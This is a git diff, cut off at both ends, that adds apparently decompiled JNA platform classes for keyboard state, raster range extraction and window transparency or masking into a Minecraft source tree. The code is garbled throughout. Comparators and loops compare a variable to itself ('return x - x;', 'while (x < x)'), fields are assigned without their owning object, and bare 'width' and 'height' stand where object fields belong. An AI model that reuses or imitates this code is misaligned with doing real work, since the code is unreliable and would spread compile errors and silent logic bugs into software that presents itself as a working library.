+        return 97 + (code - 65);
+      if ((code >= 48) && (code <= 57))
+        return 48 + (code - 48);
+      if (code == 16) {
+        if ((location & 0x3) != 0)
+          return 65505;
+        return 65505;
+      }
+      if (code == 17) {
+        if ((location & 0x3) != 0)
+          return 65508;
+        return 65507;
+      }
+      if (code == 18) {
+        if ((location & 0x3) != 0)
+          return 65514;
+        return 65513;
+      }
+      if (code == 157) {
+        if ((location & 0x3) != 0)
+          return 65512;
+        return 65511;
+      }
+      return 0;
+    }
+    
+    public boolean isPressed(int keycode, int location) { X11 lib = X11.INSTANCE;
+      X11.Display dpy = lib.XOpenDisplay(null);
+      if (dpy == null) {
+        throw new Error("Can't open X Display");
+      }
+      try {
+        byte[] keys = new byte[32];
+        
+        lib.XQueryKeymap(dpy, keys);
+        int keysym = toKeySym(keycode, location);
+        for (int code = 5; code < 256; code++) {
+          int idx = code / 8;
+          int shift = code % 8;
+          if ((keys[idx] & 1 << shift) != 0) {
+            int sym = lib.XKeycodeToKeysym(dpy, (byte)code, 0).intValue();
+            if (sym == keysym) {
+              return true;
+            }
+          }
+        }
+      } finally {
+        lib.XCloseDisplay(dpy);
+      }
+      return false;
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/RasterRangesUtils.java b/src/minecraft/com/sun/jna/platform/RasterRangesUtils.java
new file mode 100644
index 0000000..426eb04
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/RasterRangesUtils.java
@@ -0,0 +1,262 @@
+package com.sun.jna.platform;
+
+import java.awt.Rectangle;
+import java.awt.image.DataBuffer;
+import java.awt.image.DataBufferByte;
+import java.awt.image.DataBufferInt;
+import java.awt.image.MultiPixelPackedSampleModel;
+import java.awt.image.Raster;
+import java.awt.image.SampleModel;
+import java.awt.image.SinglePixelPackedSampleModel;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Set;
+import java.util.TreeSet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RasterRangesUtils
+{
+  private static final int[] subColMasks = { 128, 64, 32, 16, 8, 4, 2, 1 };
+  
+
+
+
+  private static final Comparator<Object> COMPARATOR = new Comparator() {
+    public int compare(Object o1, Object o2) {
+      return x - x;
+    }
+  };
+  
+
+
+
+
+
+
+
+
+
+
+  public RasterRangesUtils() {}
+  
+
+
+
+
+
+
+
+
+
+
+  public static boolean outputOccupiedRanges(Raster raster, RangesOutput out)
+  {
+    Rectangle bounds = raster.getBounds();
+    SampleModel sampleModel = raster.getSampleModel();
+    boolean hasAlpha = sampleModel.getNumBands() == 4;
+    
+
+    if ((raster.getParent() == null) && (x == 0) && (y == 0))
+    {
+
+      DataBuffer data = raster.getDataBuffer();
+      if (data.getNumBanks() == 1)
+      {
+
+        if ((sampleModel instanceof MultiPixelPackedSampleModel)) {
+          MultiPixelPackedSampleModel packedSampleModel = (MultiPixelPackedSampleModel)sampleModel;
+          if (packedSampleModel.getPixelBitStride() == 1)
+          {
+            return outputOccupiedRangesOfBinaryPixels(((DataBufferByte)data).getData(), width, height, out);
+          }
+        } else if (((sampleModel instanceof SinglePixelPackedSampleModel)) && 
+          (sampleModel.getDataType() == 3))
+        {
+          return outputOccupiedRanges(((DataBufferInt)data).getData(), width, height, hasAlpha ? -16777216 : 16777215, out);
+        }
+      }
+    }
+    
+
+
+
+    int[] pixels = raster.getPixels(0, 0, width, height, (int[])null);
+    return outputOccupiedRanges(pixels, width, height, hasAlpha ? -16777216 : 16777215, out);
+  }
+  
+
+
+
+
+
+
+
+  public static boolean outputOccupiedRangesOfBinaryPixels(byte[] binaryBits, int w, int h, RangesOutput out)
+  {
+    Set<Rectangle> rects = new HashSet();
+    Set<Rectangle> prevLine = Collections.EMPTY_SET;
+    int scanlineBytes = binaryBits.length / h;
+    for (int row = 0; row < h; row++) {
+      Set<Rectangle> curLine = new TreeSet(COMPARATOR);
+      int rowOffsetBytes = row * scanlineBytes;
+      int startCol = -1;
+      
+      for (int byteCol = 0; byteCol < scanlineBytes; byteCol++) {
+        int firstByteCol = byteCol << 3;
+        byte byteColBits = binaryBits[(rowOffsetBytes + byteCol)];
+        if (byteColBits == 0)
+        {
+          if (startCol >= 0)
+          {
+            curLine.add(new Rectangle(startCol, row, firstByteCol - startCol, 1));
+            startCol = -1;
+          }
+        } else if (byteColBits == 255)
+        {
+          if (startCol < 0)
+          {
+            startCol = firstByteCol;
+          }
+        }
+        else {
+          for (int subCol = 0; subCol < 8; subCol++) {
+            int col = firstByteCol | subCol;
+            if ((byteColBits & subColMasks[subCol]) != 0) {
+              if (startCol < 0)
+              {
+                startCol = col;
+              }
+            }
+            else if (startCol >= 0)
+            {
+              curLine.add(new Rectangle(startCol, row, col - startCol, 1));
+              startCol = -1;
+            }
+          }
+        }
+      }
+      
+      if (startCol >= 0)
+      {
+        curLine.add(new Rectangle(startCol, row, w - startCol, 1));
+      }
+      Set<Rectangle> unmerged = mergeRects(prevLine, curLine);
+      rects.addAll(unmerged);
+      prevLine = curLine;
+    }
+    
+    rects.addAll(prevLine);
+    for (Iterator<Rectangle> i = rects.iterator(); i.hasNext();) {
+      Rectangle r = (Rectangle)i.next();
+      if (!out.outputRange(x, y, width, height)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static boolean outputOccupiedRanges(int[] pixels, int w, int h, int occupationMask, RangesOutput out)
+  {
+    Set<Rectangle> rects = new HashSet();
+    Set<Rectangle> prevLine = Collections.EMPTY_SET;
+    for (int row = 0; row < h; row++) {
+      Set<Rectangle> curLine = new TreeSet(COMPARATOR);
+      int idxOffset = row * w;
+      int startCol = -1;
+      
+      for (int col = 0; col < w; col++) {
+        if ((pixels[(idxOffset + col)] & occupationMask) != 0) {
+          if (startCol < 0) {
+            startCol = col;
+          }
+        }
+        else if (startCol >= 0)
+        {
+          curLine.add(new Rectangle(startCol, row, col - startCol, 1));
+          startCol = -1;
+        }
+      }
+      
+      if (startCol >= 0)
+      {
+        curLine.add(new Rectangle(startCol, row, w - startCol, 1));
+      }
+      Set<Rectangle> unmerged = mergeRects(prevLine, curLine);
+      rects.addAll(unmerged);
+      prevLine = curLine;
+    }
+    
+    rects.addAll(prevLine);
+    for (Iterator<Rectangle> i = rects.iterator(); i.hasNext();) {
+      Rectangle r = (Rectangle)i.next();
+      if (!out.outputRange(x, y, width, height)) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  private static Set<Rectangle> mergeRects(Set<Rectangle> prev, Set<Rectangle> current) {
+    Set<Rectangle> unmerged = new HashSet(prev);
+    if ((!prev.isEmpty()) && (!current.isEmpty())) {
+      Rectangle[] pr = (Rectangle[])prev.toArray(new Rectangle[prev.size()]);
+      Rectangle[] cr = (Rectangle[])current.toArray(new Rectangle[current.size()]);
+      int ipr = 0;
+      int icr = 0;
+      while ((ipr < pr.length) && (icr < cr.length)) {
+        while (x < x) {
+          icr++; if (icr == cr.length) {
+            return unmerged;
+          }
+        }
+        if ((x == x) && (width == width)) {
+          unmerged.remove(pr[ipr]);
+          y = y;
+          height += 1;
+          icr++;
+        }
+        else {
+          ipr++;
+        }
+      }
+    }
+    return unmerged;
+  }
+  
+  public static abstract interface RangesOutput
+  {
+    public abstract boolean outputRange(int paramInt1, int paramInt2, int paramInt3, int paramInt4);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/WindowUtils.java b/src/minecraft/com/sun/jna/platform/WindowUtils.java
new file mode 100644
index 0000000..7c6c690
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/WindowUtils.java
@@ -0,0 +1,1551 @@
+package com.sun.jna.platform;
+
+import com.sun.jna.Memory;
+import com.sun.jna.Native;
+import com.sun.jna.NativeLong;
+import com.sun.jna.Platform;
+import com.sun.jna.Pointer;
+import com.sun.jna.platform.unix.X11;
+import com.sun.jna.platform.unix.X11.Display;
+import com.sun.jna.platform.unix.X11.GC;
+import com.sun.jna.platform.unix.X11.Pixmap;
+import com.sun.jna.platform.unix.X11.VisualID;
+import com.sun.jna.platform.unix.X11.Window;
+import com.sun.jna.platform.unix.X11.WindowByReference;
+import com.sun.jna.platform.unix.X11.XImage;
+import com.sun.jna.platform.unix.X11.XRectangle;
+import com.sun.jna.platform.unix.X11.XVisualInfo;
+import com.sun.jna.platform.unix.X11.XWindowAttributes;
+import com.sun.jna.platform.unix.X11.Xext;
+import com.sun.jna.platform.unix.X11.Xrender;
+import com.sun.jna.platform.unix.X11.Xrender.XRenderDirectFormat;
+import com.sun.jna.platform.unix.X11.Xrender.XRenderPictFormat;
+import com.sun.jna.platform.win32.GDI32;
+import com.sun.jna.platform.win32.User32;
+import com.sun.jna.platform.win32.WinDef.HBITMAP;
+import com.sun.jna.platform.win32.WinDef.HDC;
+import com.sun.jna.platform.win32.WinDef.HRGN;
+import com.sun.jna.platform.win32.WinDef.HWND;
+import com.sun.jna.platform.win32.WinGDI.BITMAPINFO;
+import com.sun.jna.platform.win32.WinNT.HANDLE;
+import com.sun.jna.platform.win32.WinUser.BLENDFUNCTION;
+import com.sun.jna.platform.win32.WinUser.POINT;
+import com.sun.jna.platform.win32.WinUser.SIZE;
+import com.sun.jna.ptr.ByteByReference;
+import com.sun.jna.ptr.IntByReference;
+import com.sun.jna.ptr.PointerByReference;
+import java.awt.AWTEvent;
+import java.awt.AlphaComposite;
+import java.awt.BorderLayout;
+import java.awt.Color;
+import java.awt.Component;
+import java.awt.Container;
+import java.awt.Dialog;
+import java.awt.Dimension;
+import java.awt.Frame;
+import java.awt.Graphics;
+import java.awt.Graphics2D;
+import java.awt.GraphicsConfiguration;
+import java.awt.GraphicsDevice;
+import java.awt.GraphicsEnvironment;
+import java.awt.Point;
+import java.awt.Rectangle;
+import java.awt.Shape;
+import java.awt.Toolkit;
+import java.awt.Window;
+import java.awt.event.AWTEventListener;
+import java.awt.event.ComponentEvent;
+import java.awt.event.ComponentListener;
+import java.awt.event.ContainerEvent;
+import java.awt.event.HierarchyEvent;
+import java.awt.event.HierarchyListener;
+import java.awt.event.MouseEvent;
+import java.awt.event.WindowAdapter;
+import java.awt.event.WindowEvent;
+import java.awt.geom.Area;
+import java.awt.geom.PathIterator;
+import java.awt.image.BufferedImage;
+import java.awt.image.Raster;
+import java.io.PrintStream;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+import javax.swing.Icon;
+import javax.swing.JComponent;
+import javax.swing.JLayeredPane;
+import javax.swing.JPanel;
+import javax.swing.JRootPane;
+import javax.swing.RootPaneContainer;
+import javax.swing.SwingUtilities;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WindowUtils
+{
+  private static final String TRANSPARENT_OLD_BG = "transparent-old-bg";
+  private static final String TRANSPARENT_OLD_OPAQUE = "transparent-old-opaque";
+  private static final String TRANSPARENT_ALPHA = "transparent-alpha";
+  public static final Shape MASK_NONE = null;
+  
+
+
+  public WindowUtils() {}
+  
+
+
+
+  private static class HeavyweightForcer
+    extends Window
+  {
+    private static final long serialVersionUID = 1L;
+    
+
+
+    private final boolean packed;
+    
+
+
+    public HeavyweightForcer(Window parent)
+    {
+      super();
+      pack();
+      packed = true;
+    }
+    
+
+
+    public boolean isVisible()
+    {
+      return packed;
+    }
+    
+    public Rectangle getBounds() {
+      return getOwner().getBounds();
+    }
+  }
+  
+  protected static class RepaintTrigger
+    extends JComponent
+  {
+    private static final long serialVersionUID = 1L;
+    
+    protected class Listener extends WindowAdapter implements ComponentListener, HierarchyListener, AWTEventListener
+    {
+      protected Listener() {}
+      
+      public void windowOpened(WindowEvent e)
+      {
+        repaint();
+      }
+      
+      public void componentHidden(ComponentEvent e) {}
+      
+      public void componentMoved(ComponentEvent e) {}
+      
+      public void componentResized(ComponentEvent e) {
+        setSize(getParent().getSize());
+        repaint();
+      }
+      
+      public void componentShown(ComponentEvent e) {
+        repaint();
+      }
+      
+      public void hierarchyChanged(HierarchyEvent e) {
+        repaint();
+      }
+      
+      public void eventDispatched(AWTEvent e) {
+        if ((e instanceof MouseEvent)) {
+          Component src = ((MouseEvent)e).getComponent();
+          if ((src != null) && (SwingUtilities.isDescendingFrom(src, content)))
+          {
+            MouseEvent me = SwingUtilities.convertMouseEvent(src, (MouseEvent)e, content);
+            Component c = SwingUtilities.getDeepestComponentAt(content, me.getX(), me.getY());
+            if (c != null) {
+              setCursor(c.getCursor());
+            }
+          }
+        }
+      }
+    }
+    
+    private final Listener listener = createListener();
+    private final JComponent content;
+    private Rectangle dirty;
+    
+    public RepaintTrigger(JComponent content) { this.content = content; }
+    
+    public void addNotify()
+    {
+      super.addNotify();
+      Window w = SwingUtilities.getWindowAncestor(this);
+      setSize(getParent().getSize());
+      w.addComponentListener(listener);
+      w.addWindowListener(listener);
+      Toolkit.getDefaultToolkit().addAWTEventListener(listener, 48L);
+    }
+    
+    public void removeNotify() {
+      Toolkit.getDefaultToolkit().removeAWTEventListener(listener);
+      Window w = SwingUtilities.getWindowAncestor(this);
+      w.removeComponentListener(listener);
+      w.removeWindowListener(listener);
+      super.removeNotify();
+    }
+    
+    protected void paintComponent(Graphics g)
+    {
+      Rectangle bounds = g.getClipBounds();
+      if ((dirty == null) || (!dirty.contains(bounds))) {
+        if (dirty == null) {
+          dirty = bounds;
+        }
+        else {
+          dirty = dirty.union(bounds);
+        }
+        content.repaint(dirty);
+      }
+      else {
+        dirty = null;
+      }
+    }
+    
+
+    protected Listener createListener() { return new Listener(); }
+  }
+  
+  public static abstract class NativeWindowUtils {
+    public NativeWindowUtils() {}
+    
+    protected abstract class TransparentContentPane extends JPanel implements AWTEventListener {
+      private static final long serialVersionUID = 1L;
+      private boolean transparent;
+      
+      public TransparentContentPane(Container oldContent) {
+        super();
+        add(oldContent, "Center");
+        setTransparent(true);
+        if ((oldContent instanceof JPanel))
+          ((JComponent)oldContent).setOpaque(false);
+      }
+      
+      public void addNotify() {
+        super.addNotify();
+        Toolkit.getDefaultToolkit().addAWTEventListener(this, 2L);
+      }
+      
+      public void removeNotify() { Toolkit.getDefaultToolkit().removeAWTEventListener(this);
+        super.removeNotify();
+      }
+      
+      public void setTransparent(boolean transparent) { this.transparent = transparent;
+        setOpaque(!transparent);
+        setDoubleBuffered(!transparent);
+        repaint();
+      }
+      
+      public void eventDispatched(AWTEvent e) { if ((e.getID() == 300) && (SwingUtilities.isDescendingFrom(((ContainerEvent)e).getChild(), this)))
+        {
+          Component child = ((ContainerEvent)e).getChild();
+          setDoubleBuffered(child, false);
+        }
+      }
+      
+      public void paint(Graphics gr) { if (transparent) {
+          Rectangle r = gr.getClipBounds();
+          int w = width;
+          int h = height;
+          if ((getWidth() > 0) && (getHeight() > 0)) {
+            BufferedImage buf = new BufferedImage(w, h, 3);
+            
+
+            Graphics2D g = buf.createGraphics();
+            g.setComposite(AlphaComposite.Clear);
+            g.fillRect(0, 0, w, h);
+            g.dispose();
+            
+            g = buf.createGraphics();
+            g.translate(-x, -y);
+            super.paint(g);
+            g.dispose();
+            
+            paintDirect(buf, r);
+          }
+        }
+        else {
+          super.paint(gr);
+        }
+      }
+      
+
+      protected abstract void paintDirect(BufferedImage paramBufferedImage, Rectangle paramRectangle);
+    }
+    
+    protected Window getWindow(Component c)
+    {
+      return (c instanceof Window) ? (Window)c : SwingUtilities.getWindowAncestor(c);
+    }
+    
+
+
+
+    protected void whenDisplayable(Component w, final Runnable action)
+    {
+      if ((w.isDisplayable()) && ((!WindowUtils.Holder.requiresVisible) || (w.isVisible()))) {
+        action.run();
+      }
+      else if (WindowUtils.Holder.requiresVisible) {
+        getWindow(w).addWindowListener(new WindowAdapter() {
+          public void windowOpened(WindowEvent e) {
+            e.getWindow().removeWindowListener(this);
+            action.run();
+          }
+          
+          public void windowClosed(WindowEvent e) { e.getWindow().removeWindowListener(this);
+          }
+
+        });
+      }
+      else
+      {
+        w.addHierarchyListener(new HierarchyListener() {
+          public void hierarchyChanged(HierarchyEvent e) {
+            if (((e.getChangeFlags() & 0x2) != 0L) && (e.getComponent().isDisplayable()))
+            {
+              e.getComponent().removeHierarchyListener(this);
+              action.run();
+            }
+          }
+        });
+      }
+    }
+    
+    protected Raster toRaster(Shape mask) {
+      Raster raster = null;
+      if (mask != WindowUtils.MASK_NONE) {
+        Rectangle bounds = mask.getBounds();
+        if ((width > 0) && (height > 0)) {
+          BufferedImage clip = new BufferedImage(x + width, y + height, 12);
+          
+
+
+          Graphics2D g = clip.createGraphics();
+          g.setColor(Color.black);
+          g.fillRect(0, 0, x + width, y + height);
+          g.setColor(Color.white);
+          g.fill(mask);
+          raster = clip.getRaster();
+        }
+      }
+      return raster;
+    }
+    
+    protected Raster toRaster(Component c, Icon mask) {
+      Raster raster = null;
+      if (mask != null) {
+        Rectangle bounds = new Rectangle(0, 0, mask.getIconWidth(), mask.getIconHeight());
+        
+        BufferedImage clip = new BufferedImage(width, height, 2);
+        
+
+        Graphics2D g = clip.createGraphics();
+        g.setComposite(AlphaComposite.Clear);
+        g.fillRect(0, 0, width, height);
+        g.setComposite(AlphaComposite.SrcOver);
+        mask.paintIcon(c, g, 0, 0);
+        raster = clip.getAlphaRaster();
+      }
+      return raster;
+    }
+    
+    protected Shape toShape(Raster raster) {
+      final Area area = new Area(new Rectangle(0, 0, 0, 0));
+      RasterRangesUtils.outputOccupiedRanges(raster, new RasterRangesUtils.RangesOutput() {
+        public boolean outputRange(int x, int y, int w, int h) {
+          area.add(new Area(new Rectangle(x, y, w, h)));
+          return true;
+        }
+      });
+      return area;
+    }
+    
+
+
+
+    public void setWindowAlpha(Window w, float alpha) {}
+    
+
+
+
+    public boolean isWindowAlphaSupported()
+    {
+      return false;
+    }
+    
+    public GraphicsConfiguration getAlphaCompatibleGraphicsConfiguration()
+    {
+      GraphicsEnvironment env = GraphicsEnvironment.getLocalGraphicsEnvironment();
+      
+      GraphicsDevice dev = env.getDefaultScreenDevice();
+      return dev.getDefaultConfiguration();
+    }
+    
+
+
+
+    public void setWindowTransparent(Window w, boolean transparent) {}
+    
+
+
+
+    protected void setDoubleBuffered(Component root, boolean buffered)
+    {
+      if ((root instanceof JComponent)) {
+        ((JComponent)root).setDoubleBuffered(buffered);
+      }
+      if (((root instanceof JRootPane)) && (buffered)) {
+        ((JRootPane)root).setDoubleBuffered(true);
+      }
+      else if ((root instanceof Container)) {
+        Component[] kids = ((Container)root).getComponents();
+        for (int i = 0; i < kids.length; i++) {
+          setDoubleBuffered(kids[i], buffered);
+        }
+      }
+    }
+    
+    protected void setLayersTransparent(Window w, boolean transparent)
+    {
+      Color bg = transparent ? new Color(0, 0, 0, 0) : null;
+      if ((w instanceof RootPaneContainer)) {
+        RootPaneContainer rpc = (RootPaneContainer)w;
+        JRootPane root = rpc.getRootPane();
+        JLayeredPane lp = root.getLayeredPane();
+        Container c = root.getContentPane();
+        JComponent content = (c instanceof JComponent) ? (JComponent)c : null;
+        
+        if (transparent) {
+          lp.putClientProperty("transparent-old-opaque", Boolean.valueOf(lp.isOpaque()));
+          
+          lp.setOpaque(false);
+          root.putClientProperty("transparent-old-opaque", Boolean.valueOf(root.isOpaque()));
+          
+          root.setOpaque(false);
+          if (content != null) {
+            content.putClientProperty("transparent-old-opaque", Boolean.valueOf(content.isOpaque()));
+            
+            content.setOpaque(false);
+          }
+          root.putClientProperty("transparent-old-bg", root.getParent().getBackground());
+        }
+        else
+        {
+          lp.setOpaque(Boolean.TRUE.equals(lp.getClientProperty("transparent-old-opaque")));
+          lp.putClientProperty("transparent-old-opaque", null);
+          root.setOpaque(Boolean.TRUE.equals(root.getClientProperty("transparent-old-opaque")));
+          root.putClientProperty("transparent-old-opaque", null);
+          if (content != null) {
+            content.setOpaque(Boolean.TRUE.equals(content.getClientProperty("transparent-old-opaque")));
+            content.putClientProperty("transparent-old-opaque", null);
+          }
+          bg = (Color)root.getClientProperty("transparent-old-bg");
+          root.putClientProperty("transparent-old-bg", null);
+        }
+      }
+      w.setBackground(bg);
+    }
+    
+
+
+    protected void setMask(Component c, Raster raster)
+    {
+      throw new UnsupportedOperationException("Window masking is not available");
+    }
+    
+
+
+
+
+    protected void setWindowMask(Component w, Raster raster)
+    {
+      if (w.isLightweight())
+        throw new IllegalArgumentException("Component must be heavyweight: " + w);
+      setMask(w, raster);
+    }
+    
+    public void setWindowMask(Component w, Shape mask)
+    {
+      setWindowMask(w, toRaster(mask));
+    }
+    
+
+
+
+    public void setWindowMask(Component w, Icon mask)
+    {
+      setWindowMask(w, toRaster(w, mask));
+    }
+    
+
+
+
+
+    protected void setForceHeavyweightPopups(Window w, boolean force)
+    {
+      if (!(w instanceof WindowUtils.HeavyweightForcer)) {
+        Window[] owned = w.getOwnedWindows();
+        for (int i = 0; i < owned.length; i++) {
+          if ((owned[i] instanceof WindowUtils.HeavyweightForcer)) {
+            if (force)
+              return;
+            owned[i].dispose();
+          }
+        }
+        Boolean b = Boolean.valueOf(System.getProperty("jna.force_hw_popups", "true"));
+        if ((force) && (b.booleanValue())) {
+          new WindowUtils.HeavyweightForcer(w);
+        }
+      }
+    }
+  }
+  
+  private static class Holder
+  {
+    public static boolean requiresVisible;
+    public static final WindowUtils.NativeWindowUtils INSTANCE;
+    
+    private Holder() {}
+    
+    static
+    {
+      if (Platform.isWindows()) {
+        INSTANCE = new WindowUtils.W32WindowUtils(null);
+      }
+      else if (Platform.isMac()) {
+        INSTANCE = new WindowUtils.MacWindowUtils(null);
+      }
+      else if (Platform.isX11()) {
+        INSTANCE = new WindowUtils.X11WindowUtils(null);
+        requiresVisible = System.getProperty("java.version").matches("^1\\.4\\..*");
+      }
+      else
+      {
+        String os = System.getProperty("os.name");
+        throw new UnsupportedOperationException("No support for " + os);
+      }
+    }
+  }
+  
+
+  private static NativeWindowUtils getInstance() { return Holder.INSTANCE; }
+  
+  private static class W32WindowUtils extends WindowUtils.NativeWindowUtils {
+    private W32WindowUtils() {}
+    
+    private WinDef.HWND getHWnd(Component w) { WinDef.HWND hwnd = new WinDef.HWND();
+      hwnd.setPointer(Native.getComponentPointer(w));
+      return hwnd;
+    }
+    
+
+
+
+    public boolean isWindowAlphaSupported()
+    {
+      return Boolean.getBoolean("sun.java2d.noddraw");
+    }
+    
+    private boolean usingUpdateLayeredWindow(Window w)
+    {
+      if ((w instanceof RootPaneContainer)) {
+        JRootPane root = ((RootPaneContainer)w).getRootPane();
+        return root.getClientProperty("transparent-old-bg") != null;
+      }
+      return false;
+    }
+    
+
+
+    private void storeAlpha(Window w, byte alpha)
+    {
+      if ((w instanceof RootPaneContainer)) {
+        JRootPane root = ((RootPaneContainer)w).getRootPane();
+        Byte b = alpha == -1 ? null : new Byte(alpha);
+        root.putClientProperty("transparent-alpha", b);
+      }
+    }
+    
+    private byte getAlpha(Window w)
+    {
+      if ((w instanceof RootPaneContainer)) {
+        JRootPane root = ((RootPaneContainer)w).getRootPane();
+        Byte b = (Byte)root.getClientProperty("transparent-alpha");
+        if (b != null) {
+          return b.byteValue();
+        }
+      }
+      return -1;
+    }
+    
+    public void setWindowAlpha(final Window w, final float alpha) {
+      if (!isWindowAlphaSupported()) {
+        throw new UnsupportedOperationException("Set sun.java2d.noddraw=true to enable transparent windows");
+      }
+      whenDisplayable(w, new Runnable() {
+        public void run() {
+          WinDef.HWND hWnd = WindowUtils.W32WindowUtils.this.getHWnd(w);
+          User32 user = User32.INSTANCE;
+          int flags = user.GetWindowLong(hWnd, -20);
+          byte level = (byte)((int)(255.0F * alpha) & 0xFF);
+          if (WindowUtils.W32WindowUtils.this.usingUpdateLayeredWindow(w))
+          {
+
+            WinUser.BLENDFUNCTION blend = new WinUser.BLENDFUNCTION();
+            SourceConstantAlpha = level;
+            AlphaFormat = 1;
+            user.UpdateLayeredWindow(hWnd, null, null, null, null, null, 0, blend, 2);
+
+
+          }
+          else if (alpha == 1.0F) {
+            flags &= 0xFFF7FFFF;
+            user.SetWindowLong(hWnd, -20, flags);
+          }
+          else {
+            flags |= 0x80000;
+            user.SetWindowLong(hWnd, -20, flags);
+            user.SetLayeredWindowAttributes(hWnd, 0, level, 2);
+          }
+          
+          setForceHeavyweightPopups(w, alpha != 1.0F);
+          WindowUtils.W32WindowUtils.this.storeAlpha(w, level);
+        }
+      });
+    }
+    
+
+    private class W32TransparentContentPane
+      extends WindowUtils.NativeWindowUtils.TransparentContentPane
+    {
+      private static final long serialVersionUID = 1L;
+      
+      private WinDef.HDC memDC;
+      private WinDef.HBITMAP hBitmap;
+      private Pointer pbits;
+      private Dimension bitmapSize;
+      
+      public W32TransparentContentPane(Container content) { super(content); }
+      
+      private void disposeBackingStore() {
+        GDI32 gdi = GDI32.INSTANCE;
+        if (hBitmap != null) {
+          gdi.DeleteObject(hBitmap);
+          hBitmap = null;
+        }
+        if (memDC != null) {
+          gdi.DeleteDC(memDC);
+          memDC = null;
+        }
+      }
+      
+      public void removeNotify() { super.removeNotify();
+        disposeBackingStore();
+      }
+      
+      public void setTransparent(boolean transparent) { super.setTransparent(transparent);
+        if (!transparent) {
+          disposeBackingStore();
+        }
+      }
+      
+      protected void paintDirect(BufferedImage buf, Rectangle bounds) {
+        Window win = SwingUtilities.getWindowAncestor(this);
+        GDI32 gdi = GDI32.INSTANCE;
+        User32 user = User32.INSTANCE;
+        int x = x;
+        int y = y;
+        Point origin = SwingUtilities.convertPoint(this, x, y, win);
+        int w = width;
+        int h = height;
+        int ww = win.getWidth();
+        int wh = win.getHeight();
+        WinDef.HDC screenDC = user.GetDC(null);
+        WinNT.HANDLE oldBitmap = null;
+        try {
+          if (memDC == null) {
+            memDC = gdi.CreateCompatibleDC(screenDC);
+          }
+          if ((hBitmap == null) || (!win.getSize().equals(bitmapSize))) {
+            if (hBitmap != null) {
+              gdi.DeleteObject(hBitmap);
+              hBitmap = null;
+            }
+            WinGDI.BITMAPINFO bmi = new WinGDI.BITMAPINFO();
+            bmiHeader.biWidth = ww;
+            bmiHeader.biHeight = wh;
+            bmiHeader.biPlanes = 1;
+            bmiHeader.biBitCount = 32;
+            bmiHeader.biCompression = 0;
+            bmiHeader.biSizeImage = (ww * wh * 4);
+            PointerByReference ppbits = new PointerByReference();
+            hBitmap = gdi.CreateDIBSection(memDC, bmi, 0, ppbits, null, 0);
+            
+
+            pbits = ppbits.getValue();
+            bitmapSize = new Dimension(ww, wh);
+          }
+          oldBitmap = gdi.SelectObject(memDC, hBitmap);
+          Raster raster = buf.getData();
+          int[] pixel = new int[4];
+          int[] bits = new int[w];
+          for (int row = 0; row < h; row++) {
+            for (int col = 0; col < w; col++) {
+              raster.getPixel(col, row, pixel);
+              int alpha = (pixel[3] & 0xFF) << 24;
+              int red = pixel[2] & 0xFF;
+              int green = (pixel[1] & 0xFF) << 8;
+              int blue = (pixel[0] & 0xFF) << 16;
+              bits[col] = (alpha | red | green | blue);
+            }
+            int v = wh - (y + row) - 1;
+            pbits.write((v * ww + x) * 4, bits, 0, bits.length);
+          }
+          WinUser.SIZE winSize = new WinUser.SIZE();
+          cx = win.getWidth();
+          cy = win.getHeight();
+          WinUser.POINT winLoc = new WinUser.POINT();
+          x = win.getX();
+          y = win.getY();
+          WinUser.POINT srcLoc = new WinUser.POINT();
+          WinUser.BLENDFUNCTION blend = new WinUser.BLENDFUNCTION();
+          WinDef.HWND hWnd = WindowUtils.W32WindowUtils.this.getHWnd(win);
+          
+          ByteByReference bref = new ByteByReference();
+          IntByReference iref = new IntByReference();
+          byte level = WindowUtils.W32WindowUtils.this.getAlpha(win);
+          try
+          {
+            if ((user.GetLayeredWindowAttributes(hWnd, null, bref, iref)) && ((iref.getValue() & 0x2) != 0))
+            {
+              level = bref.getValue();
+            }
+          }
+          catch (UnsatisfiedLinkError e) {}
+          
+          SourceConstantAlpha = level;
+          AlphaFormat = 1;
+          user.UpdateLayeredWindow(hWnd, screenDC, winLoc, winSize, memDC, srcLoc, 0, blend, 2);
+        }
+        finally {
+          user.ReleaseDC(null, screenDC);
+          if ((memDC != null) && (oldBitmap != null)) {
+            gdi.SelectObject(memDC, oldBitmap);
+          }
+        }
+      }
+    }
+    
+
+
+
+    public void setWindowTransparent(final Window w, final boolean transparent)
+    {
+      if (!(w instanceof RootPaneContainer)) {
+        throw new IllegalArgumentException("Window must be a RootPaneContainer");
+      }
+      if (!isWindowAlphaSupported()) {
+        throw new UnsupportedOperationException("Set sun.java2d.noddraw=true to enable transparent windows");
+      }
+      boolean isTransparent = (w.getBackground() != null) && (w.getBackground().getAlpha() == 0);
+      
+      if (transparent == isTransparent)
+        return;
+      whenDisplayable(w, new Runnable() {
+        public void run() {
+          User32 user = User32.INSTANCE;
+          WinDef.HWND hWnd = WindowUtils.W32WindowUtils.this.getHWnd(w);
+          int flags = user.GetWindowLong(hWnd, -20);
+          JRootPane root = ((RootPaneContainer)w).getRootPane();
+          JLayeredPane lp = root.getLayeredPane();
+          Container content = root.getContentPane();
+          if ((content instanceof WindowUtils.W32WindowUtils.W32TransparentContentPane)) {
+            ((WindowUtils.W32WindowUtils.W32TransparentContentPane)content).setTransparent(transparent);
+          }
+          else if (transparent) {
+            WindowUtils.W32WindowUtils.W32TransparentContentPane w32content = new WindowUtils.W32WindowUtils.W32TransparentContentPane(WindowUtils.W32WindowUtils.this, content);
+            
+            root.setContentPane(w32content);
+            lp.add(new WindowUtils.RepaintTrigger(w32content), JLayeredPane.DRAG_LAYER);
+          }
+          
+          if ((transparent) && (!WindowUtils.W32WindowUtils.this.usingUpdateLayeredWindow(w))) {
+            flags |= 0x80000;
+            user.SetWindowLong(hWnd, -20, flags);
+          }
